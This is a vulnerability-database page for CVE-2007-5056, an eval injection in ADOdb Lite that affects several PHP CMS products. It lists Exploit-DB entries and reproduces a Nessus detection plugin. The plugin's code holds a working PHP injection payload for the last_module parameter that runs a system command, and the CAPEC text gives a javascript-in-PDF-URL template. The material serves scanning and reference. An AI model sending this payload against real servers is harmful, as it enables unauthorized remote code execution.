Vulnerabilities > CVE-2007-5056 - Code Injection vulnerability in multiple products

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL

Summary

Eval injection vulnerability in adodb-perf-module.inc.php in ADOdb Lite 1.42 and earlier, as used in products including CMS Made Simple, SAPID CMF, Journalness, PacerCMS, and Open-Realty, allows remote attackers to execute arbitrary code via PHP sequences in the last_module parameter.

Vulnerable Configurations

Part Description Count
Application
Adodb_Lite
1
Application
Cmsmadesimple
1
Application
Journalness
1
Application
Open-Realty
1
Application
Pacercms
1
Application
Sapid
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

  • descriptionJournalness <= 4.1 (last_module) Remote Code Execution exploit. CVE-2007-5056. Webapps exploit for php platform
    fileexploits/php/webapps/5091.pl
    idEDB-ID:5091
    last seen2016-01-31
    modified2008-02-09
    platformphp
    port
    published2008-02-09
    reporterIron
    sourcehttps://www.exploit-db.com/download/5091/
    titleJournalness <= 4.1 last_module Remote Code Execution Exploit
    typewebapps
  • descriptionSAPID CMF Build 87 (last_module) Remote Code Execution Vulnerability. CVE-2007-5056. Webapps exploit for php platform
    fileexploits/php/webapps/5097.txt
    idEDB-ID:5097
    last seen2016-01-31
    modified2008-02-10
    platformphp
    port
    published2008-02-10
    reporterGoLd_M
    sourcehttps://www.exploit-db.com/download/5097/
    titleSAPID CMF Build 87 last_module Remote Code Execution Vulnerability
    typewebapps
  • descriptionOpen-Realty <= 2.4.3 (last_module) Remote Code Execution Exploit. CVE-2007-5056. Webapps exploit for php platform
    fileexploits/php/webapps/5090.pl
    idEDB-ID:5090
    last seen2016-01-31
    modified2008-02-09
    platformphp
    port
    published2008-02-09
    reporterIron
    sourcehttps://www.exploit-db.com/download/5090/
    titleOpen-Realty <= 2.4.3 last_module Remote Code Execution Exploit
    typewebapps
  • descriptionPacerCMS 0.6 (last_module) Remote Code Execution Vulnerability. CVE-2007-5056. Webapps exploit for php platform
    fileexploits/php/webapps/5098.txt
    idEDB-ID:5098
    last seen2016-01-31
    modified2008-02-10
    platformphp
    port
    published2008-02-10
    reporterGoLd_M
    sourcehttps://www.exploit-db.com/download/5098/
    titlePacerCMS 0.6 last_module Remote Code Execution Vulnerability
    typewebapps
  • descriptionCMS Made Simple 1.2 Remote Code Execution Vulnerability. CVE-2007-5056. Webapps exploit for php platform
    fileexploits/php/webapps/4442.txt
    idEDB-ID:4442
    last seen2016-01-31
    modified2007-09-21
    platformphp
    port
    published2007-09-21
    reporterirk4z
    sourcehttps://www.exploit-db.com/download/4442/
    titleCMS Made Simple 1.2 - Remote Code Execution Vulnerability
    typewebapps

Nessus

NASL familyCGI abuses
NASL idADODB_LITE_LAST_MODULE_CMD_EXEC.NASL
descriptionADOdb Lite, a lightweight database framework for PHP applications, is installed on the remote host. The version of ADOdb Lite on the remote host fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id26072
published2007-09-24
reporterThis script is Copyright (C) 2007-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/26072
titleADOdb Lite adodb-perf-module.inc.php last_module Parameter Arbitrary Code Execution
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(26072);
  script_version("1.20");

  script_cve_id("CVE-2007-5056");
  script_bugtraq_id(25768, 25997);
  script_xref(name:"EDB-ID", value:"4442");

  script_name(english:"ADOdb Lite adodb-perf-module.inc.php last_module Parameter Arbitrary Code Execution");
  script_summary(english:"Tries to run a command via ADOdb Lite's adodb-perf-module.inc.php");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that allows arbitrary
command execution." );
 script_set_attribute(attribute:"description", value:
"ADOdb Lite, a lightweight database framework for PHP applications, is
installed on the remote host. 

The version of ADOdb Lite on the remote host fails to sanitize input
to the 'last_module' parameter of the 'adodb-perf-module.inc.php'
script before using it in an 'eval()' statement to evaluate PHP code. 
An unauthenticated attacker can leverage this issue to execute
arbitrary code on the remote host subject to the privileges of the web
server user id." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/481984/100/0/threaded" );
 # http://web.archive.org/web/20071011195544/http://blog.cmsmadesimple.org/2007/10/07/announcing-cms-made-simple-1141/
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6906a13e" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');
 script_cwe_id(94);


 script_set_attribute(attribute:"plugin_publication_date", value: "2007/09/24");
 script_cvs_date("Date: 2018/11/15 20:50:16");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl", "pafiledb_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");

port = get_http_port(default:80);

# Generate a list of extra paths to check.
extra_dirs = make_array();
ndirs = 0;
# - CMS Made Simple
foreach dir (cgi_dirs())
{
  extra_dirs[ndirs++] = string(dir, "/lib/adodb_lite");
}
if (thorough_tests)
{
  foreach dir (make_list("/cms"))
    extra_dirs[ndirs++] = string(dir, "/lib/adodb_lite");
}
# - paFileDB.
install = get_kb_item(string("www/", port, "/pafiledb"));
if (install)
{
  matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
  if (!isnull(matches))
  {
    dir = matches[2];
    extra_dirs[ndirs++] = string(dir, "/includes/adodb");
  }
}


# Try to exploit the issue to run a command.
cmd = "id";
exploit = string(
  "zZz_ADOConnection{}system(", cmd, ");class zZz_ADOConnection{}//"
);

http_check_remote_code(
  extra_dirs    : extra_dirs,
  check_request : string("/adodb-perf-module.inc.php?last_module=", urlencode(str:exploit)),
  check_result  : "uid=[0-9]+.*gid=[0-9]+.*",
  command       : cmd,
  port          : port,
  warning       : TRUE
);